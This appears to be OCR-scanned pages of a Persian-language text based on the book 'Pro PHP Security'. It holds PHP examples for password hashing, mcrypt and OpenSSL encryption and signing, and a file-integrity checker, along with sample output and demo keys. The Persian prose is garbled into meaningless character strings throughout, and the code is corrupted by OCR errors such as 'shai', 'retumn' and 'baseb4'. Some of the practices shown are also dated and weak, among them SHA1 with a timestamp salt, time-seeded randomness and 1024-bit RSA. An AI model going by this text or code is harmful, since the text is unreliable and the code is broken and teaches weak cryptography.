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// NOT Recommended!
function keyED( $txt, $encrypt key ) {
$encrypt key = md5( $encrypt key );
$ctr = 0;
$tmp = '';
for ( $i = 0; $i < strlen( $txt ); $i++ ) {
if ( $ctr == strlen( $encrypt key ) ) $ctr = o;
$tmp.= substr( $txt, $i, 1) » substr( $encrypt key, $ctr, 1 );
$ctr++;
}
return $tmp;

}
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<?php

function makeDBConnection() {
$connection = mysql connect( 'localhost', 'username', ‘password' );
if ( !$connection ) exit( "can't connect!" );
if ( Imysql select db( 'users', $connection ) ) exit( "can't select database!" );

}

function dbSafe( $value ) {
return "'

}

i,

. mysql real escape string( $value ) . "';

I
/1 deal with the new user's password
T ]

// capture the new user's information, submitted from the login form
$userName = $ POST[ 'userName'];
$userPassword = $ POST[ 'userPassword' ];

/] check that it meets our password criteria;
/] provide a message (and regenerate the login form) if it doesn't
$passwordProblem = array();
if ( strlen( $userPassword ) < 8 ) {
$passwordProblem[ ] = 'It must be at least eight characters long.';

}
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if ( !preg match( '/[A-Z]/', $userPassword ) {
$passwordProblem[] = 'It must contain at least one capital letter.';
}
if ( !preg match( '/[0-9]/', $userPassword ) {
$passwordProblem[] = 'It must contain at least one numeral.';
}
$passwordProblemCount = count( $passwordProblem );
if ( $passwordProblemCount ) {
echo '<p>Please provide an acceptable password.<br />';
for ( $i = 0; $i < $passwordProblemCount; $i++ ) {
echo $passwordProblem[$i] . '<br />';

}

echo '</p>';

// generate form

2

<form action="<? $ SERVER['SCRIPT NAME'] 2>" method="post">
<p>

username: <input type="text" name="userName" size="32" /><br />
password: <input type="password" name="userPassword" size="16" /><br />
<input type="submit" name="submit" value="Login" />
</p>
&

</form>

<?

exit();

}

// it is acceptable, so hash it
$salt = time();
$hashedPassword = shai( $userPassword . $salt );

// store it in the database and redirect the user
makeDBConnection();
$query = "INSERT INTO LOGIN VALUES (' . dbSafe( $userName ) . ', ' .
dbSafe( $hashedPassword ) . ', ' . dbSafe( $salt ) . ')';
if ( !mysql query( $query ) ) exit( "couldn't add new record to database!" );
else header( 'Location: http://www.example.com/authenticated.php' );

// passwordHashingDemo.php continues
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// continues passwordHashingDemo.php

[11111711111171111111171711111111111111111
// deal with the returning user's password
[IITITTIEIL A1 P11

// capture the returning user's information, submitted from the login form
$userName = $ POST['userName'];
$userPassword = $ POST['userPassword'];

// retrieve the stored password and salt for this user
makeDBConnection();
$query = 'SELECT * FROM LOGIN WHERE username=' . dbSafe( $userName );

$result = mysql query( $query );
if ( I$result ) exit( "$userName wasn't found in the database!" );
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$row = mysql fetch array( $result );

$storedPassword = $row[ 'password’];
$salt = $row['salt'];

// use the stored salt to hash the user's submitted password
$hashedPassword = shai( $userPassword . $salt );

// compare the stored hash to the just-created hash
if ( $storedPassword != $hashedPassword ) {

exit( 'incorrect password!' );
} else {
header( 'Location: http://www.example.com/authenticated.php' );

}
7>

LT 45 S 2 S (655 45 Lz el jionles L;ﬁ) Sy ol b yaeeie, b 0,518

P b S o cule, 1) sid aseiie claSSle

9 &S Hsboles wl &l p)S jee e, Glgie 4 b
o

;i:)‘ ool.él..w‘LgJ.A‘ u.:‘ AS‘MLN‘SQ 3 )ooL)ol.ig'l.‘::sA,,;S‘so o).,,}éﬂil.o;ii)o ‘) o 43‘)|

9
Ry >U"‘ VR ‘abu‘ O 43‘)‘ é‘).;)ls f;l" )‘ o-.\.w).«w U‘“"‘)"5

y
u)

l, sSalt oo b sas o ojla! Lo
o 0y e o g aid )T )‘132&3:" S50 adgl jgee 30y (3903 (Silup s aF WS Sle)8
0980, 5l g3l 0 S5 u. Dwd& 2SS Sz a5 ()5 wiile ) Lo pupns Ly (s3Lupn 0 ]
3 S oo ol @), ShAL() &b 5l eslanad g oats Jle31s Al 09381 L 1) ous ool
Stumlie 5| any AESToo dnlio ilos S 0,33 W3 a5 i L] oid (53lupa s (At L (e

)
SsS lg asls | 5 Lo ¢ 38
D@\% =D (0 )y debp ]y ) $9e

- I@at ;n)s-:-c}*") ()5 el Jold) o3loolly sloo oS, ols (Las b ) wiS' o0 )1 by, cnl &S
5@& sanlie s oo Soleo & Wlooges 41| ) Gy sagl yone i) 53 45 b3 o Gl IS 0
e Jds gl & st Sgliste oo b o0k 9o U laSe jome 5oy 99 (nl 5l oad 0033 Sla gl g
s2lyzs (g9 b owyiws BB ol 4 Wil palie SO ST S ogdle 4 .ol ouds ooliiul SalL (Salt)

sl &L 5 loolid BB jgee o, 45 Canlys

mike 33e6dfabf57785262a552240bbf3ef333f13c95e 1112843905
chris aa13a1a0703d37641221a131a8b951cb1ee93f3b 1112845008

Ye



»

ctigkhsobielis | g Cu e ‘_;LAW 6"“‘5}3'1:’,“.":"“] iS5 Sl adl  gilecpl o 53 0 lie Sleds ‘vi-:’ 34

iz Ul g gt o Jn

S Fge Shyy o e gosloell 5o oyl (60,53 5 LB jgue (slate, (y0gei (il (il pl
ol 4 il ) wilogo GBL &S IS g5 otl 4l |, o] a5 colSim cbb o la] 5l sl

D55 8 el 98 51000 990 (JUE] jae 5o

u.ab.»a sools jl cblas Y.Y
bl b 0tl el Eains drmgs gz 53 3 Ko Canl Sae olas (sloools Fedslis
Gosign 5 6 kie] SIS solesd sl 5V dmosls gFUsT 5 caraS ditalan pgue SlTAG 30,5

o s diols wlaiel 0550 by ol aS Ll 1o esls g45 cpl 5l Jgeie o)'yo 39 ¢yl Lo

Al o g 90 Cudle gl)lo A Cl (6, 5w, ‘LQQT 3eblas o by, ls i ools o opl

merypt algi PHP 55yl 6,5 30 APASS
Sloslaul Ly eools olaS e, b 5K, <o PHP ,o merypt Jsls olgs 5l eoliiwl Lo ol o

gz g S Jud PHP 5o (5300 &j50 4 MORYPESR 00 oo (Lt (leSs 5 S yide S S,
o s b S s PHP (6,0l S ol TIMCrypt cabols wiejls s o7 51 oolicel

’ sk oo iLels with-merypt
550 s 5 3l ooliiul oS qulaalal, RHP L5 6 b aib oo Slol 2 slaa 357 (olls merypt
ol o . Blowfish 3 AES DESY iey aosoe olis |, ol had o oy 090 oy i 5,550,
> ol Job cpx e (S8 s polie o)l sliel aS 4uiS o ooliiwl g 5l L (Jlse

bl (el Hloy o e 5 laSsl

Yo



cadvg byl clis
dside bl g sl

PHP ol (s $4al

a ISl 5l eolaiul a5 epo oo lis e 4y Tatl jo Jg cualo g0 oS 095 4y [0 (galax] v
Gl & ygu0 Az
<?php
// specify which algorithm to use:

// aes, blowfish, or tripledes
$algorithm = 'aes’;

// create a new mcrypt object
include once( 'mcrypt.php' );
$mcrypt = new mcrypt( $algorithm );

// specify the encryption key
$secret = 'Lions, tigers and bears, oh my.';
$mcrypt->setKey( $secret );

// settings report

print "<p>The encryption algorithm is $mcrypt->algo,
which has a key size of $mcrypt->keysize bytes (" .
( $mcrypt->keysize * 8 ) . " bits).</p>";

// specify some text, and encrypt it

$text = 'The goat is in the red barn.';

$encrypted = $mcrypt->encrypt( $text );

print "<p>The plain text is:<br />$text</p>";

print "<p>The encrypted, base64-encoded text is:<br />$encrypted</p>";

// decrypt the encrypted text
$decrypted = $mcrypt->decrypt( $encrypted );
print "<p>The decrypted text is:<br />$decrypted</p>";
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mcryptDemo.php e Sl 5l essl @l 79,5 V=Y jguas

OO0 0 mcrypt.php demo (&)

C:J v @ _/!} @ http://aotearoa/~csnyder/p ¥ [ (Gl 3!
Using aes

Keysize is 32 bytes (256 bits)

Initialization vector size is 32 bytes (256 bits)

The plain text is:

The goat is in the red barn.

And the encrypted text is:
WBCaK/HKIvUvbKIDAH3KO3UUYUO1Ptyghsw3Gkl4axVApqvnoBIY gDKx5/PLhOoH
050n85XPxV70B1I+D/VVaA==

The decrypted text is:
The goat is in the red bam.

Done

Lol gloisu b ol ooums 9 SVeb 3155:5 Jdo ol o 0e 0 S 095 4y s o5l
Do Lsl T g B a8l oS 4 40,5 o5 5l L8 b oS oo (B ym0 il o

@ : o9 3 goya Sl piie @

“‘g% s o5es T construct() o @

oS g0,53 g ol - SEEKEY() b @

Pl 28ly 550, ol - ENCIYPL() b @
\% 00 ()50, ply 2liS 50, dECTYPE() ol @
%ynn s yoged 0l destruct() o e

231000 95 995 4 (95|

&/

v



caligukiyebilcis
dside bl g sl

PHP ool oo sl ‘sﬁﬁﬁp

<?ph

P

class mcrypt {

private $mcrypt; // the

public $algo; // the
private $iv; // the
private $key; // the
public $ivsize; // the

private $maxKeysize; // the
public $keysize; // the

resource for the object

active encryption algorithm

value of the initialization vector

key for the encryption

size of the initialization vector

ideal size of the key :£§
actual size of the key in use 2

p

public function __ construct( $algo="aes' ) {

// seed the random number
srand( (double) time() );

generator

// algorithm must be one of aes, tripledes, or blowfish

switch ( $algo ) {
case 'aes':

$algorithm = MCRYPT RIINDAEL 256;

break;
case 'tripledes':

$algorithm = MCRYPT TRIPLEDES;

break;
case 'blowfish':

$algorithm = MCRYPT BLOWFISH;

break;
default:

¥
\%\%

¥
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// disallow any other algorithm
exit( "Fatal error. This implementation does not support $algo.
Please use one of 'aes','tripledes', or 'blowfish'." );

}
$this->algo = $algorithm;

// get a new mcrypt resource
$this->mcrypt = mcrypt module open( $algorithm, '', MCRYPT MODE CBC, '' );

// determine size of initialization vector
$this->ivsize = mcrypt enc_get iv size( $this->mcrypt );

// determine key length
$this->maxKeysize = mcrypt enc get key size( $this->mcrypt );

// end of construct() method
}

// mcrypt class continues
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// continues mcrypt class

public function setKey( $secret ) {
// initialize key
$key = NULL;

// determine number of 32-character key blocks we need to use
$keyblocks = ceil( ( $this->maxKeysize * 2 ) / 32 );

// for each keyblock, generate a different mds digest and append to key
for ( $ix = 0; $ix < $keyblocks; $ix++ ) {

$key .= md5( $ix . $secret );
}

// then pack the hexadecimal key to binary (2:1 ratio)
$key = pack( 'H*', $key );

// cut key to proper length
$this->key = substr( $key, 0, $this->maxKeysize );
$this->keysize = strlen( $this->key );

}

// mycrypt class continues —
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// continues mcrypt class

public function encrypt( $data ) {
// generate a new initialization vector
$this->iv = mcrypt create_iv( $this->ivsize, MCRYPT_RAND );
// init
if (mcrypt_generic_init( $this->mcrypt, $this->key, $this->iv ) == -1) {

$this->_ destruct();
exit( 'Fatal error, could not initialize encryption routine.' );

!

// encrypt
$ciphertext = mcrypt generic( $this->mcrypt, $data );

// deinit
mcrypt_generic_deinit( $this->mcrypt );

// prepend initialization vector
$out = $this->iv.$ciphertext;

// encode encrypted value as base64
// split into 64 character lines for transmission
$out = chunk split( base64 encode( $out ), 64 );

retumn $out;

}

// mycrypt class continues
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// continues mcrypt class

public function decrypt( $data ) {
// expect basebd
$input = baseb4 decode( $data );

// leam initialization vector from $input
$this->iv = substr( $input, 0, $this->ivsize );
$ciphertext = substr( $input, $this->ivsize );

// init
if ( mcrypt _generic_init( $this->mcrypt, $this->key, $this->iv ) == -1) {

$this->  destruct();
exit( 'Fatal error, could not initialize encryption routine.' );

}

// decrypt
$out = mdecrypt generic( $this->mcrypt, $ciphertext );

// deinit
mcrypt_generic deinit( $this->mcrypt );

// return decrypted data
return $out;

}
// mycrypt class continues
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// continues mcrypt class

public function  destruct() {
// write over key in memory
$this->key = str repeat( 'X', strlen( $this->key ) );

// free the mcrypt resource
mcrypt module close( $this->mcrypt );

// end of mcrypt class
}
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<?php

// create a new openSSL object
include once( 'openSSL.php' );
$openSSL = new openSSL;

// generate a keypair
$passphrase = 'This is a passphrase of reasonable length.';

// a "Distinguished Name" is required for the public key
$distinguishedName = array( )‘%?
"countryName" => "US",
"stateOrProvinceName" => "New York",
"localityName" => "New York City",
"organizationName" => "example.net",
"organizationalUnitName" => "Pro PHP Security",
“commonName" => "pps.example.net",
"emailAddress" => "csnyder@example.net”
)
$openSSL->makeKeys( $distinguishedName, $passphrase );
$private = $openSSL->privateKey();
$public = $openSSL->certificate();

. S7
print "<h3>Key and Certificate Generation</h3>";
print "<p>Your certificate belongs to:<br />" . =
$openSSL->getCommonName() . "</p>";
print "<p>Distinguished Name:<br /><pre>" . w»

print_r($openSSL->getDN(),1) . "</pre></p>";
print "<p>Your private key is:<br /><pre>$private</pre></p>";
print "<p>Your public key is:<br /><pre>$public</pre></p>";
print "<p>Your certificate is signed by:<br />" . w»
$openSSL->getCACommonName () . "</p>";
print "<p>CA Distinguished Name:<br /><pre>" .w»
print_r($openSSL->getCA(),1) . "</pre></p>";
print "<hr />";

// encrypt some text using the public key
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$text = "The goat is in the red barn.”

fencrypted = $opensSSL-»encrypt( $text );

print “"<h3i:*Ecncryption</hi»";

print "<p>Plain text was:<br S>$text</p>";

print "<prAnd encrypted text is:<br Sreprex$encrypted</prex</p>";

f/ decrypt it using the private key
$decrypted = %opensSsl->decrypt( $encrypted, %$passphrase );
print "<p>Decrypted with Priwvate Key:<br />%decrypted</p>";

/4 sign some message using the private key

$message = "So long, and thanks for all the fish.";

$signed = %openSSl-»sign( $message, $passphrase );

print "<h3»5igning</h3>";

print "«<p>5igned using Private Key:<br /r><prex%signed</pre></p>";

£ wverity signature

$verified = $openSSL-»verify( $signed );

print "«<p>Verifying signature using Certificate:<br />";
if ( $verified ) {

print " ...passed (%verified).</p>";
h
else {
print " ...failed.</p>";
h
e
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Key and Certificate Generation

Your certificate belongs to:
pps.aotearoa.local

Distinguished Name: fj)

Array
(
[C] => US
[ST] => New York
[L] => New York City
[0]) => aotearoca.local
[OU] => Pro PHP Security
[CN] => pps.aotearoa.local
[emailAddress] => csnyder@aotearoa.local
)

Your private key is:

Proc~Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-~CBC,BFOF405B9D70C316

CT/F90bf3kigYaldgmLM3fk5tUsAnUseUWFQv4kiE6uHGGEdGIxCcjuj+k2HbTEVL
ysQjVscvopQCX6tiTxBaskepyLeRcilDfywdruw2Xo4vddABBFm2noWbhiFLxboU
OMbAMONNOlaYK3scMTBTB+6sm50mgHSB1DeCewlUOV+2apKKrQ12124E256Bi34zc
VGEAXLWEshcOYVAiLIXWALDYwstEnMKAmMC+2+128GyVhzSVs£J9D0TkSeFRARNG5dC
8MpJsL2frZogVPfIxxcbeFlEdm2D+pnIlS/x0pgI1lRIaihRhON4VvdRisanljH7A
3vHETZQtDUi126g8sRn85hebQz2BkVwdymPCjCkIcwibEpeSgAIFmnoMjyCHPAdIm
qi/QFRallPQPx4tzQ0dFx6FGFTkYJSVDg24aB5if+Fi+kZ20qCyyBEF7£fJ1g6eadMw
82f52sMJyCX7FPyqEwf0mkj0On/XTAIiSmu3PcLeeeObuQNJzKBluln8Ebazks891
Done
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Key and Certificate Generation
Key and Certificate Generation

Your certificate belongs to:
pps .example.net

Distinguished Name:

Array E%P
( [C] => US 9%“

[ST] => New York

[L] => New York City

[0] => example.net

[OU] => Pro PHP Security

[CN] => pps.example.net
[emailAddress] => csnyder@example.net

N &)
Your private key is:

Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,BD26D16F17FCC900

7aKW+3bITgreczLYLkoP8KLpXiZauyRXOekLAypjpaRInWDfjsEqhqgGoLvZFf/P
nn/4NwKY18m1 jc2spkibwuyK1ASMD7NAwcpIRIrrnithdTW5259/2Ys0GOf7/1Sq
7X7t7piwbile44R4NLOKXUOEQUGABT TTYZNP1ORBdZeiHsEanqdlqI TGy WfKk jvn
Ev7nVtoXVtoqGQaBf/aDpVONAm3vEI9kObugZq4z9WeTOm8I3Ws jka37ELFHECLp
grhigrl 08 IxbMTSt3elzCIRSYNBsk2Q3t2zvsvH3HOzMBHxdm9ixUF6]jEw6o8aey
40ialcfoKnZ01IFvA6sMjXHUMY L] jkw3aN/wkMEGoGuOjdVbb2eteBIPR1CKVXRR
MQ1jut79DLZR4UDYnGSNANE pBM1XQbi1Z fM7iR890mK4BXgBrP5an0kduKUZDI+s
IIthI6JRHfb51UYeMintdEws+1+BbON/F jXs4JhPUAJ31ddJojcdboaXoHbs5VO71
rS4hgldhKt6v1GQy TP8I4v06FM2CIv49IYOEiKHUPOYFBUqHy MRy 28 TF TAMSSWQT
V86kUQhe9WIpyvgS53upl6S3HIMEsvpINY jVvgnyIFzFLSUS4YQ+rxSOMSNVB2Q7
4WhFQIOLxi+tZCj4FsdjsnY1P6eYvt4rquwvl0ZZda/+SY4YFxi22nRF6 fCTXhVRy
G3gRhDATOhigXedB29gHM1uuKwH60g4uX10SxUprObnkFtv8hfVuISvog+3+ue+c
0h0Z10zeotZvFAT38eqQE4r zi2vKA1eCHDA4UoUswe 11w9YH+DHVtg==

Your public key is:
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MIICxzCCAjCgAwIBAgIEQrROLTANBgkghkiGIwOBAQUFADCBpz ELMAKGATUEBRMC
VWMxETAPBgNVBAETCES1dyBZb3 JrMRYwFAYDVQOHEW10ZXc gWW9yayBDaXR SMROw

EgYDVOOKEwt 1eGFtcGx1Lm51dDEZMBcGAIUECXMQUHIVIFBIUCBTZWN1cmloe TEY
MBYGA1UEAXMP cHBz LmV4YW1wbGUubmVOMSIWIAYIKoZIhveNAQkBFhNjc255ZGVy
0GV4YW1wbCGUubmVOMB4XDTAIMDYXODE 5MjEXN10XDTA2MDYxODESM]j ExN1owgacx
CzAIBgNVBAYTALVTMR EwDwYDVQOI EwhOZXc gWW9yaz ENMBOGATUEBXMNTmV3IF 1v

cmsg0210e TEUMBICALUEChMLZXhhbXBsZS5uZXQxGTAXBgNVBASTEFBybyBOSFAg

U2VjdXJpdHk xGDAWBENVBAMTD3Bwcy51eGF tcGx1Lm51dDE iMCAGCSqGSIb3DQE)D
ARYTY3NueWR1ckBleGFtcGx1Lm51dDCBnzANBgkqhk iGOwOBAQEFAAOB jOAWgYkC §§g>
gYEA6RYOZ 1Mbh+g+JiVH70ZRMH4tPQukF1iV54d2ecmcUI80+PLpOF IQF 7GR fBu t%?ﬁ
PVUWTOOdIDmc jM+7aiAEINuU9bIWdtbVZO1fwTiYw8f/q2Thj4IIwPQviyKd709] §E
8NG7A8IvhCsGSFHFJ+U2eDFPscroEu2qk7g7TpGX InkMwg8 CAWEAATANBgkghkiG
9wOBAQUFAAOBgQCDoTd fLdODwuIGu4 ThghAtDsOxiLAiIT+yqYrRijxFd8vbjFQF
22J]TojoweAFyJsnKG2LVIMSZVRr136a+qU+WhSPgTOs /uh jmzT6+Wm517n9e+fq
71Bm5R50Sx7LKKOAP4mfeOBcTu3Ze7bXv12bGjkXid+vQSF20S/yyvs5wQ==

Your certificate is signed by:
pps.example.net

CA Distinguished Name:

0)
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Array

[c] => uS

[ST] => New York

[L] => New York City

[0] => example.net

[0U] => Pro PHP Security

[CN] => pps.example.net
[emailAddress] => csnyder@example.net

)
Encryption

Plain text was:
The goat is in the red bam.

And encrypted text is:
ipeF6afPzMv/r/0ihK2vMB3InUer0/YfgIVIh211GLFQaY7gialeGOgAP7PijEdU
57EaDDrMD8v2TkGasSsYqv2doNaDr5dq/Ng90IiRiXMqGihuzilLIORNz6c1kVhNh
3duJWEVXZCAIMYpgvUpbCVjurCRBuhFInaks8ZR]11cU=

Decrypted with Private Key:
The goat is in the red bamn.

Signing

Signed using Private Key:
7

So long, and thanks for all the fish.

----- BEGIN openSSL.php SINATURE-----

1ESA9PjvXCOtdATOkgCCFPC2rz/y+yWh/0iD9pthmeB1cIWAI TGGYhv39XmYsYK
5zmPGWZ 7 c9SKWRKFKFO0NOFWFUK3 jGA4ZTcS8Fu3ly/VwCVZWpWVq2POVBbzAFSD

hECGgxvwZcXPX0aDfIcSkjEFcn7ZmKi0o/R7Y0dt0UOO=
----- END openSSL.php SIGNATURE-----

Verifying signature using Certificate:

...passed (So long, and thanks for all the fish.).
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<?php

class openSSL {
private $certificate;
private $privatekey;
private $dn = array();
private $x509 = array();
private $sigheader = "\n----- BEGIN openSSL.php SIGNATURE----- \n";
private $sigfooter = "----- END openSSL.php SIGNATURE----- \n";

// constructor
public function  construct() {
// no constructor is needed here

}

// make new keys and load them into $this->certificate and $this->privatekey
// certificate will be self-signed
public function makeKeys ( $distinguishedName, $passphrase = NULL ) {

/! keep track of the distinguished name

$this->dn = $distinguishedName;
AN
// generate the pem-encoded private key

$config = array( 'digest alg'=>'shal’,
'private key bits'=>1024,
"encrypt key'=>TRUE,
)5
$key = openssl pkey new( $config );

oy
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// generate the certificate signing request...
$csr = openssl csr_new( $this->dn, $key, $config );

// and use it to make a self-signed certificate
$cert = openssl csr sign( $csr, NULL, $key, 365, $config, time() );

// export private and public keys
openssl pkey export( $key, $this->privatekey, $passphrase, $config );
openssl x509 export( $cert, $this->certificate );

// parse certificate
$this->x509 = openssl x509 parse( $cert );

return TRUE;

// end of makeKeys() method
}
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Array

(
=> AU

]
T] => Some-State
] => Internet Widgits Pty Ltd

[C
IS

[0
)
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// continues openSSL class

// gets (or sets) $this->privatekey
public function privateKey() {
$out = $this->privatekey;
if ( func_num _args() > 0 && func _get arg(o) ) {
$this->privatekey = func_get arg(0);
}

return $out;

// end of privateKey() method
¥

// gets (or sets) $this->certificate (the public key)
public function certificate() {
$out = $this->certificate;
if ( func_num_args() > 0 && func_get arg(o) ) {
$this->certificate = func_get arg(0);

// create openssl certificate resource
$cert = openssl get publickey( $this->certificate );

@ D

// parse certificate
$this->x509 = openssl x509 parse( $cert );

// free the cert resource
openssl free key( $cert );

}

return $%$out;

// end of certificate() method
}

// openSSL class continues

%
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// continues openSSL class

// uses this->certificate to encrypt using rsa
// input is limited to 56 chars (448 bits)
public function encrypt ( $string ) {
if ( empty( $this->certificate ) ) {
exit( 'Cannot encrypt, no active certificate.' );

}
if ( strlen( $string ) > 56 ) { E§g>

exit( 'Cannot encrypt, input too long.' );

} %n“

// create openssl certificate resource
$cert = openssl get publickey( $this->certificate );

// encrypt
openssl public_encrypt ( $string, $out, $cert );

// free the cert resource
openssl free key( $cert );

// encode the encrypted text for transport
$out = chunk split( base64 encode( $out ), 64 );

I
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return $out;

// end of encrypt() method
h

// uses $this->privatekey to decrypt using RSA
public function decrypt ( $string, $passphrase = NULL ) {
if ( empty( $this->privatekey ) ) {
exit( 'Cannot decrypt, no active private key.' );

}

// decodes encrypted text from transport
$string = base64 decode( $string );

// create openssl pkey resource
$key = openssl get privatekey( $this->privatekey, $passphrase );

// decrypt
openssl private decrypt( $string, $out, $key );

// make openssl forget the key
openssl free key( $key );

return $out;

// end of decxrypt() method
s

// openSSL class continues
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// continues openSSL class

// uses private key to sign a string
public function sign ( $string, $passphrase = NULL ) {

if ( empty( $this->privatekey ) ) {
exit( 'Cannot decrypt, no active private key.' );

}

// create openssl pkey resource
$key = openssl get privatekey( $this->privatekey, $passphrase );

// find the signature
$signature = NULL;
openssl sign( $string, $signature, $key );

// make openssl forget the key
openssl free key( $key );

// base64 encode signature for easy transport
$signature = chunk_split( base64 encode( $signature ), 64 );

// finish signing string
$signedString = $string . $this->sigheader . $signature . $this->sigfooter;

// return signed string
return $signedString;
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// end of sign() method
}

// uses key to verify a signature using this->certificate
public function verify ( $signedString ) {
if ( empty( $this->privatekey ) ) {
exit( 'Cannot verify, no active certificate.' );

}
// split the signature from the string §§g>
$sigpos = strpos( $signedString, $this->sigheader ); :§3F
if ( $sigpos === FALSE ) { i;izz?

// failed, no signature! <

return FALSE; %?
}

N S
$signature = substr( $signedString, ( $sigpos +
strlen( $this->sigheader ) ), ( 0 - strlen( $this->sigfooter ) )

$string = substr( $signedString, 0, $sigpos );

// base64 decode the signature...
$signature = base64 decode( $signature );

// create openssl certificate resource
$cert = openssl get publickey( $this->certificate );

// verify the signature
$success = openssl verify( $string, $signature, $cert );

// free the key resource
openssl free key( $cert );

// pass or fail
if ( $success ) {
return $string;

}
return FALSE;

// end of verify() method
}

// openSSL class continues

0
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// continues openSSL class

// find common name of entity represented by this->certificate
public function getCommonName() {
if ( isset( $this->x509['subject']['CN'] ) ) {
return $this->x509[ 'subject']['CN']

}
return NULL;

.

)

// end of getCommonName() method
1

// get all details of the entity represented by this->certificate
// aka, the Distinguished Name
public function getDN() {
if ( isset( $this->x509['subject'] ) ) {
return $this->x509[ ‘subject'];
}
return NULL;

// end of getDN() method
}

// find common name of the issuer of this->certificate
public function getCACommonName() {

if ( isset( $this-»>x509["'issuer'J['CN'] ) ) {

return $this->x509[ 'issuer']['CN']
o
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}
return NULL;

// end of getCACommonName() method
}

// get all details of the the issuer of this->certificate
// aka, the Certificate Authority
public function getCA() {

if ( isset( $this->x509['issuer'] ) ) { ﬁ
return $this->x509[ 'issuer']; 5
} (F

return NULL;

// end of getCA() method
t

// end of openSSL class
}
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#1/usr/local/bin/php
<?php

// simple file class to track detailed file metrics including hash and stats
class fileData {

public $path; // path of file
public $lastSeen; // time when stats were generated
public $stats; // selected output of stat() call on path

public $combinedHash; // combined md5 hash of content and stats

// load stats and compute hashes for the file at $path
public function load( $path ) {
$this->path = $path;
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if ( is_readable( $path ) ) {
/! compute contentHash from file's contents
$contentHash = md5_file( $this->path );

// get all file statistics, see http://php.net/stat
/! slice off numeric indexes, leaving associative only
$this->stats = array slice( stat( $this->path ), 13 );

// ignore atime (changes with every read), rdev, and blksize (irrelevant)
unset( $this->stats['atime'] );

unset( $this->stats['rdev'] );

unset( $this-»>stats['blksize'] );

// compute md5 hash of serialized stats array
$statsHash = mdS( serialize( $this->stats ) );

// build combinedHash
$this->combinedHash = $contentHash . $statsHash;

—”
// timestamp
$this->lastSeen = time();

// end of fileData->load()
}

/! end of fileData class
}

// integrity.php continues
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//continues integrity.php

// initial values
$found = array();

$known = FALSE; §55>
™ %ﬂn

// get path or print usage information
if ( lempty( $argv[1] ) ) {
$path = $argv[1];
}
else {
// create a usage reminder
exit( "Missing path.
Usage: $argv[0] <path> [<index file>]

Outputs or checks the integrity of files in <path>.
If an <index file» is provided, it is used to check the
integrity of the specified files.
If not, a new index is generated and written to std-out.
The index is a serialized PHP array, with one entry per file.\r\n\r\n" );

}

// if existing index is provided, load it into $known
if ( lempty( $argv[2] ) ) {
$index = file get contents( $argv[2] );
$kng§2§%>gﬂ§erialize( $index );
DN
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if ( empty( $known ) ) {
exit( "Unable to load values in $argv[2].\r\n" );

}

else {
print "Loaded index $argv[2] (".count( $known )." entries)\r\n";

}
}

// if path is not readable, exit
if ( !is readable( $path ) ) exit( "Unable to read $path\r\n" );

// integrity.php continues

| 6257 sl e 10zl )3 Lo (05 2l olo L5 51 gl o il g%g ly S Sl s
e b Sl ool SlgB 3 (st 4 S Sl Gl LTS al o 13 (B (500 e 9 S (o0 5l
o ) polie sl ond lg3ld s 4 51 Jg 09 e 0okl 5T oS L il onii 5]
Gl 0gzee saled SO Lok oo Sl cpl  alg>l 8 ,ali;.m%ﬁso 6,33 el sl prio o |,
A e o o il sl K2y
B o 0ols s 45 0S o g cdalol o

D) sl eols ol 4 4l el )l Sl

S oo o KNOWNS sasl)T o 1, 1 5 08gei
oW 09,0 i oy p S &5 S A2 g0 )l ccnnlio ply So L adls STy aBl puilys
b il SLol 28 bl 5l o) 6@ el owyp ol &5 > 4o 358 o0 pbol fileData
Sl o o ul &S @)V@M‘DLW )| el Sy S ol a5 sl o 1y gy S

gyj D) (bl oy iz (sl lo &S 39 aoliil
S

o
O
\‘@5

9

A



cetigpidcbilcis |j§9u o ke dbw ‘5‘&‘5}_:..1.;%] rRLY 9 chJLw ‘5LAJUJ.% ‘5J'L"'C)'°‘ 0y 43 °J‘9L~:"’ Sleds

dside bl g sl

//continues integrity.php

// if path is a directory, find all contents
if ( is_dir( $path ) ) {
$dir = dir( $path );
while ( $entry = $dir->read() ) {
// skip .dotfiles
if ( substr( $entry, 0, 1 ) == '." ) continue;

// skip directories -- recursive indexing not implemented tzg>
if ( is dir( $path . '/' . $entry ) ) continue; £§§

// create a new fileData object for each entry
$file = new fileData;
$file->load( $path . '/' . $entry );

// if readable, assign to $found array
if ( lempty( $file->combinedHash ) ) {
$found[ $file->path ] = $file;

}
w ~~2J
// end while directory entry
}
}
// otherwise handle just the single file
else {

$file = new fileData;
$file->load( $path );
if ( lempty( $file->combinedHash ) ) {
$found[ $file->path ] = $file;
}
}

// integrity.php continues
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//continues integrity.php

// initialize counters
$foundFiles = count( $found );
$changedFiles = 0;

$otherFiles = 0;

// if checking integrity, compare $found files to $known files
if ( tempty( $known ) ) { :ng

// for each found... t%%?
foreach( $found AS $fpath=>3file ) { i;;;bn

// find matching record D)

if ( isset( Sknown[ $fpath ] ) ) { )
$knownFile = $known[ $fpath ];

}

else {
print "NEW file at $fpath.\n";
$otherFiles++;
continue;

}

// check hashes
if ( $file->combinedHash != $knownFile->combinedHash ) {

// something changed!
N\ OV
$changedFiles++;

// check content first
$knownContentHash = substr( $knownFile->combinedHash, 0, 32 );
$contentHash = md5 _file( $fpath );
if ( $contentHash != $knownContentHash ) {
print "CONTENTS changed at $fpath.\r\n";
continue;

}

// content same so stats changed... which ones?
$changed = NULL;
foreach( $knownFile->stats AS $key=>$knownValue ) {
if ( $file->stats[ Skey ] != $knownValue ) {
$changed .= "S$key changed from $knownValue to " . $file->stats| Skey | .w
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// strip off the last space and comma
$changed = substr( $changed, 0, -2 );

print "OTHER CHANGE at $fpath: $changed.\r\n";
continue;

// nothing changed
print "$fpath ok.\r\n";

// end foreach found

}

// now report on unlinked files
foreach( $known AS $kpath=>$file ) {
if ( empty( $found[ $kpath ] ) ) {
print "MISSING file at $kpath.\r\n";
$otherFiles++;

}
}

// summary report
print "$changedFiles changed, $otherFiles new or deleted";
print " in $foundFiles files at $path.\r\n";

}
else {

NG/
// not checking integrity, print index

print serialize( $found )."\r\n";

}

?>

(5%
(B

U8, S aulys oo 45 0 e LT T slbons led L ol pl S 0053 1w polie L b
oy e |y dlie Wb Led wisls J KNOWNS sal)l 31 .08 solial Lol 5l g5 b iy
LuT jo a5 1) Gz 965 oo ses TOUNAS al)T 51 s 5 a0 Lad el s plsl (S LSS
Lol i wyaz a5 gla bl cqz ail was LB G b wals KnownS sall s Js sk
